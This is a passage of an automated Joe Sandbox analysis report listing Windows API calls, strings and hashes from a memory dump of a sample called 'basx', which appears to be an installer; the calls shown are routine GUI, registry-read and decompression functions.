                                                                                          • API ID: Object$BitmapBitsDelete$CreateIcon
                                                                                          • String ID:
                                                                                          • API String ID: 1030595962-0
                                                                                          • Opcode ID: dabea464bc85c36b4411cc83672e19ff5768c85fc4c65aec36842f1966395034
                                                                                          • Instruction ID: 74cae3b7aa7aab4ce12a2fbd062d204c5c4082198076ec6df892ad84fd278e80
                                                                                          • Opcode Fuzzy Hash: dabea464bc85c36b4411cc83672e19ff5768c85fc4c65aec36842f1966395034
                                                                                          • Instruction Fuzzy Hash: 6A510671A002199FCB10DFA9C9819EEB7F9EF48314B11416AF914E7395D738AD41CB68
                                                                                          APIs
                                                                                          • SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CEFE
                                                                                          • GetDeviceCaps.GDI32(00000000,00000026), ref: 0041CF1D
                                                                                          • SelectPalette.GDI32(?,?,00000001), ref: 0041CF83
                                                                                          • RealizePalette.GDI32(?), ref: 0041CF92
                                                                                          • StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CFFC
                                                                                          • StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041D03A
                                                                                          • SelectPalette.GDI32(?,?,00000001), ref: 0041D05F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: PaletteStretch$Select$BitsCapsDeviceModeRealize
                                                                                          • String ID:
                                                                                          • API String ID: 2222416421-0
                                                                                          • Opcode ID: 5be0e4e6833feb243a8d388dd1011de92277052336d3d318ec39d49e9b6efc72
                                                                                          • Instruction ID: 4b814cf558339e083a7fb5ccd56fb4ffad9fd0a27a4bfdacf16c2dd2476febac
                                                                                          • Opcode Fuzzy Hash: 5be0e4e6833feb243a8d388dd1011de92277052336d3d318ec39d49e9b6efc72
                                                                                          • Instruction Fuzzy Hash: D2515EB0604200AFDB14DFA8C985F9BBBE9EF08304F10459AB549DB292C778ED81CB58
                                                                                          APIs
                                                                                          • SendMessageA.USER32(00000000,?,?), ref: 0045732E
                                                                                            • Part of subcall function 0042427C: GetWindowTextA.USER32(?,?,00000100), ref: 0042429C
                                                                                            • Part of subcall function 0041EEA4: GetCurrentThreadId.KERNEL32 ref: 0041EEF3
                                                                                            • Part of subcall function 0041EEA4: EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9
                                                                                            • Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                          • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00457395
                                                                                          • TranslateMessage.USER32(?), ref: 004573B3
                                                                                          • DispatchMessageA.USER32(?), ref: 004573BC
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Message$TextThreadWindow$CurrentDispatchEnumSendTranslateWindows
                                                                                          • String ID: [Paused]
                                                                                          • API String ID: 1007367021-4230553315
                                                                                          • Opcode ID: 138259db96aaba9c66cb09bcf6582550d327018b684ee04c4d651f5f89e9d65e
                                                                                          • Instruction ID: a72840e20965590be0df7748d4dcd1bfe023db3bc5775872eefead19b10ec59e
                                                                                          • Opcode Fuzzy Hash: 138259db96aaba9c66cb09bcf6582550d327018b684ee04c4d651f5f89e9d65e
                                                                                          • Instruction Fuzzy Hash: 633175319082449ADB11DBB9EC81B9E7FB8EF49314F5540B7EC00E7292D73C9909DB69
                                                                                          APIs
                                                                                          • GetCursor.USER32(00000000,0046B55F), ref: 0046B4DC
                                                                                          • LoadCursorA.USER32(00000000,00007F02), ref: 0046B4EA
                                                                                          • SetCursor.USER32(00000000,00000000,00007F02,00000000,0046B55F), ref: 0046B4F0
                                                                                          • Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046B55F), ref: 0046B4FA
                                                                                          • SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046B55F), ref: 0046B500
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Cursor$LoadSleep
                                                                                          • String ID: CheckPassword
                                                                                          • API String ID: 4023313301-1302249611
                                                                                          • Opcode ID: 301d54e166a0b4011b0937e4b70ed1e1b4ade500f65d2603abaf2adc357acc1d
                                                                                          • Instruction ID: 9465d4cba05e43c3341d6d018928b45656d3fee3f016636846a90655da25d4f4
                                                                                          • Opcode Fuzzy Hash: 301d54e166a0b4011b0937e4b70ed1e1b4ade500f65d2603abaf2adc357acc1d
                                                                                          • Instruction Fuzzy Hash: D0316334740204AFD711EF69C899B9A7BE4EF45308F5580B6F9049B3A2D7789E40CB99
                                                                                          APIs
                                                                                            • Part of subcall function 00477B94: GetWindowThreadProcessId.USER32(00000000), ref: 00477B9C
                                                                                            • Part of subcall function 00477B94: GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,00477C93,0049C0A8,00000000), ref: 00477BAF
                                                                                            • Part of subcall function 00477B94: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00477BB5
                                                                                          • SendMessageA.USER32(00000000,0000004A,00000000,00478026), ref: 00477CA1
                                                                                          • GetTickCount.KERNEL32 ref: 00477CE6
                                                                                          • GetTickCount.KERNEL32 ref: 00477CF0
                                                                                          • MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,0000000A,000000FF), ref: 00477D45
                                                                                          Strings
                                                                                          • CallSpawnServer: Unexpected status: %d, xrefs: 00477D2E
                                                                                          • CallSpawnServer: Unexpected response: $%x, xrefs: 00477CD6
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CountTick$AddressHandleMessageModuleMultipleObjectsProcProcessSendThreadWaitWindow
                                                                                          • String ID: CallSpawnServer: Unexpected response: $%x$CallSpawnServer: Unexpected status: %d
                                                                                          • API String ID: 613034392-3771334282
                                                                                          • Opcode ID: a349fc6668a2a279a7709dc0d92d626649643492524c5ed72309cd5f58a9f2ee
                                                                                          • Instruction ID: 262cbc5b9954910938d5a1e8e32dc50db46ad6f301169d9d39307b56b522dac3
                                                                                          • Opcode Fuzzy Hash: a349fc6668a2a279a7709dc0d92d626649643492524c5ed72309cd5f58a9f2ee
                                                                                          • Instruction Fuzzy Hash: 87318474B042159EDB10EBB9C8867EE76A0AF08714F90807AB548EB392D67C9D4187AD
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(626D6573,CreateAssemblyCache), ref: 0045983F
                                                                                          Strings
                                                                                          • Failed to get address of .NET Framework CreateAssemblyCache function, xrefs: 0045984A
                                                                                          • Fusion.dll, xrefs: 004597DF
                                                                                          • .NET Framework CreateAssemblyCache function failed, xrefs: 00459862
                                                                                          • CreateAssemblyCache, xrefs: 00459836
                                                                                          • Failed to load .NET Framework DLL "%s", xrefs: 00459824
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc
                                                                                          • String ID: .NET Framework CreateAssemblyCache function failed$CreateAssemblyCache$Failed to get address of .NET Framework CreateAssemblyCache function$Failed to load .NET Framework DLL "%s"$Fusion.dll
                                                                                          • API String ID: 190572456-3990135632
                                                                                          • Opcode ID: 64b7f7115ec2050a4f0e42ab113808549d669c8acfba7d9bf3bad921683fe547
                                                                                          • Instruction ID: 9a538673283cb431493768ab67eac729fe35d93f11f945e2dcd414e2b3f175b6
                                                                                          • Opcode Fuzzy Hash: 64b7f7115ec2050a4f0e42ab113808549d669c8acfba7d9bf3bad921683fe547
                                                                                          • Instruction Fuzzy Hash: A2318B70E10649ABCB10FFA5C88169EB7B8EF45315F50857BE814E7382DB389E08C799
                                                                                          APIs
                                                                                            • Part of subcall function 0041C048: GetObjectA.GDI32(?,00000018), ref: 0041C055
                                                                                          • GetFocus.USER32 ref: 0041C168
                                                                                          • GetDC.USER32(?), ref: 0041C174
                                                                                          • SelectPalette.GDI32(?,?,00000000), ref: 0041C195
                                                                                          • RealizePalette.GDI32(?), ref: 0041C1A1
                                                                                          • GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C1B8
                                                                                          • SelectPalette.GDI32(?,00000000,00000000), ref: 0041C1E0
                                                                                          • ReleaseDC.USER32(?,?), ref: 0041C1ED
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Palette$Select$BitsFocusObjectRealizeRelease
                                                                                          • String ID:
                                                                                          • API String ID: 3303097818-0
                                                                                          • Opcode ID: 26117fda3ddcda01a6cc84f42a4f6ec069d0e010bd6cdd98afb854c6c7779a8d
                                                                                          • Instruction ID: 25a0b6576c779426e59073023ceed4ef49f3845c1b310514cd4f08ef327de147
                                                                                          • Opcode Fuzzy Hash: 26117fda3ddcda01a6cc84f42a4f6ec069d0e010bd6cdd98afb854c6c7779a8d
                                                                                          • Instruction Fuzzy Hash: 49116D71A44604BFDF10DBE9CC81FAFB7FCEB48700F50486AB518E7281DA7899008B28
                                                                                          APIs
                                                                                          • GetSystemMetrics.USER32(0000000E), ref: 00418C70
                                                                                          • GetSystemMetrics.USER32(0000000D), ref: 00418C78
                                                                                          • 6F522980.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C7E
                                                                                            • Part of subcall function 004107F8: 6F51C400.COMCTL32(0049B628,000000FF,00000000,00418CAC,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 004107FC
                                                                                          • 6F58CB00.COMCTL32(0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418CCE
                                                                                          • 6F58C740.COMCTL32(00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418CD9
                                                                                          • 6F58CB00.COMCTL32(0049B628,00000001,?,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000), ref: 00418CEC
                                                                                          • 6F520860.COMCTL32(0049B628,00418D0F,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E), ref: 00418D02
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: MetricsSystem$C400C740F520860F522980
                                                                                          • String ID:
                                                                                          • API String ID: 2856677924-0
                                                                                          • Opcode ID: e2c7fe5230f8d2f143d47c0d6a7892a097693e1c100db4317caf46c6149257f7
                                                                                          • Instruction ID: f48c8f8e6a400555c090207229051c9eae11b8a9b20c4da93df477ea8fa1a9e8
                                                                                          • Opcode Fuzzy Hash: e2c7fe5230f8d2f143d47c0d6a7892a097693e1c100db4317caf46c6149257f7
                                                                                          • Instruction Fuzzy Hash: 6B112475744204BBDB50EBA9EC82FAD73F8DB08704F504066B514EB2C1DAB9AD808759
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00483D24), ref: 00483D09
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseOpen
                                                                                          • String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
                                                                                          • API String ID: 47109696-2530820420
                                                                                          • Opcode ID: e1bcbbbaaee85d585434023fd650e6813b785c41e8fbc068ac73575afb55ee56
                                                                                          • Instruction ID: 212569cff1cfb7858b589fbdbabdc9c693f1f7cc945fcf11155ec0ddb5f1f406
                                                                                          • Opcode Fuzzy Hash: e1bcbbbaaee85d585434023fd650e6813b785c41e8fbc068ac73575afb55ee56
                                                                                          • Instruction Fuzzy Hash: CC117C30704244AADB10FF65D862B5E7BF9DB45B05F618877A800E7282EB78AE05875C
                                                                                          APIs
                                                                                          • SelectObject.GDI32(00000000,?), ref: 0041B470
                                                                                          • SelectObject.GDI32(?,00000000), ref: 0041B47F
                                                                                          • StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4AB
                                                                                          • SelectObject.GDI32(00000000,00000000), ref: 0041B4B9
                                                                                          • SelectObject.GDI32(?,00000000), ref: 0041B4C7
                                                                                          • DeleteDC.GDI32(00000000), ref: 0041B4D0
                                                                                          • DeleteDC.GDI32(?), ref: 0041B4D9
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ObjectSelect$Delete$Stretch
                                                                                          • String ID:
                                                                                          • API String ID: 1458357782-0
                                                                                          • Opcode ID: 8542cbb8adbe0fd8af4a730cfe3faeef428ae57c020086fb9cb954466ea4b08d
                                                                                          • Instruction ID: 052e9154069abc57648b404522aaf552eddfcc6d95cd3388d63b7ef9ce004286
                                                                                          • Opcode Fuzzy Hash: 8542cbb8adbe0fd8af4a730cfe3faeef428ae57c020086fb9cb954466ea4b08d
                                                                                          • Instruction Fuzzy Hash: 7B115C72E40619ABDB10DAD9DC86FEFB7BCEF08704F144555B614F7282C678AC418BA8
                                                                                          APIs
                                                                                          • GetDC.USER32(00000000), ref: 00495519
                                                                                            • Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7
                                                                                          • SelectObject.GDI32(00000000,00000000), ref: 0049553B
                                                                                          • GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,00495AB9), ref: 0049554F
                                                                                          • GetTextMetricsA.GDI32(00000000,?), ref: 00495571
                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0049558E
                                                                                          Strings
                                                                                          • ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 00495546
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Text$CreateExtentFontIndirectMetricsObjectPointReleaseSelect
                                                                                          • String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
                                                                                          • API String ID: 2948443157-222967699
                                                                                          • Opcode ID: 15e89f7ca813e7522845c960856b2cdc022ede195b48aa860a28df6e22a0f939
                                                                                          • Instruction ID: fbfe8d588f566b1ae935688c8d8bbf43f3780a3d17a9f30f48774e54417b88ea
                                                                                          • Opcode Fuzzy Hash: 15e89f7ca813e7522845c960856b2cdc022ede195b48aa860a28df6e22a0f939
                                                                                          • Instruction Fuzzy Hash: 98018476A04704BFEB05DBE9CC41E5EB7EDEB48714F614476F604E7281D678AE008B28
                                                                                          APIs
                                                                                          • GetCursorPos.USER32 ref: 004233AF
                                                                                          • WindowFromPoint.USER32(?,?), ref: 004233BC
                                                                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004233CA
                                                                                          • GetCurrentThreadId.KERNEL32 ref: 004233D1
                                                                                          • SendMessageA.USER32(00000000,00000084,?,?), ref: 004233EA
                                                                                          • SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 00423401
                                                                                          • SetCursor.USER32(00000000), ref: 00423413
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
                                                                                          • String ID:
                                                                                          • API String ID: 1770779139-0
                                                                                          • Opcode ID: 134875e674979cd567c136abb418dc525a6250aa5b529fa10794d0eebf3240cc
                                                                                          • Instruction ID: 22bb490dc700fc35bbf8fe9eba0271ced42fa0644d0760cf779c582944844a3d
                                                                                          • Opcode Fuzzy Hash: 134875e674979cd567c136abb418dc525a6250aa5b529fa10794d0eebf3240cc
                                                                                          • Instruction Fuzzy Hash: BA01D4223046103AD6217B755D82E2F26E8DB85B15F50407FF504BB283DA3D9D11937D
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll), ref: 0049533C
                                                                                          • GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 00495349
                                                                                          • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00495356
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$HandleModule
                                                                                          • String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
                                                                                          • API String ID: 667068680-2254406584
                                                                                          • Opcode ID: 5579b8dc187442e7c517f6558358e9e0fd6dcc5405420102cd7b083255a2d8af
                                                                                          • Instruction ID: d6622564654ba01390171a2dbbf88ec7785202fdd48675fe733a6c53722864ad
                                                                                          • Opcode Fuzzy Hash: 5579b8dc187442e7c517f6558358e9e0fd6dcc5405420102cd7b083255a2d8af
                                                                                          • Instruction Fuzzy Hash: 7EF0F692741F156ADA3121660C41B7F6B8CCB917B1F240137BE44A7382E9ED8C0047ED
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressInit), ref: 0045D691
                                                                                          • GetProcAddress.KERNEL32(00000000,BZ2_bzDecompress), ref: 0045D6A1
                                                                                          • GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressEnd), ref: 0045D6B1
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc
                                                                                          • String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
                                                                                          • API String ID: 190572456-212574377
                                                                                          • Opcode ID: 0c00d940adfee3eed657d73ca32928dd6beaef8d72542be6af97d79d08c28db7
                                                                                          • Instruction ID: 26f5c6c79611f6cc0facecefa5b4932716cc5d8e9f8ea2477ead0514974f6e87
                                                                                          • Opcode Fuzzy Hash: 0c00d940adfee3eed657d73ca32928dd6beaef8d72542be6af97d79d08c28db7
                                                                                          • Instruction Fuzzy Hash: 0EF01DB0D00705DFD724EFB6ACC672736D5AB6831AF50813B990E95262D778045ACF2C
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,00000004,00499934,004571F1,00457594,00457148,00000000,00000B06,00000000,00000000,00000001,00000000,00000002,00000000,004812C8), ref: 0042EA35
                                                                                          • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EA3B
                                                                                          • InterlockedExchange.KERNEL32(0049B668,00000001), ref: 0042EA4C
                                                                                            • Part of subcall function 0042E9AC: GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA70,00000004,00499934,004571F1,00457594,00457148,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9C2
                                                                                            • Part of subcall function 0042E9AC: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C8
                                                                                            • Part of subcall function 0042E9AC: InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D9
                                                                                          • ChangeWindowMessageFilterEx.USER32(00000000,?,00000001,00000000,00000004,00499934,004571F1,00457594,00457148,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042EA60
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
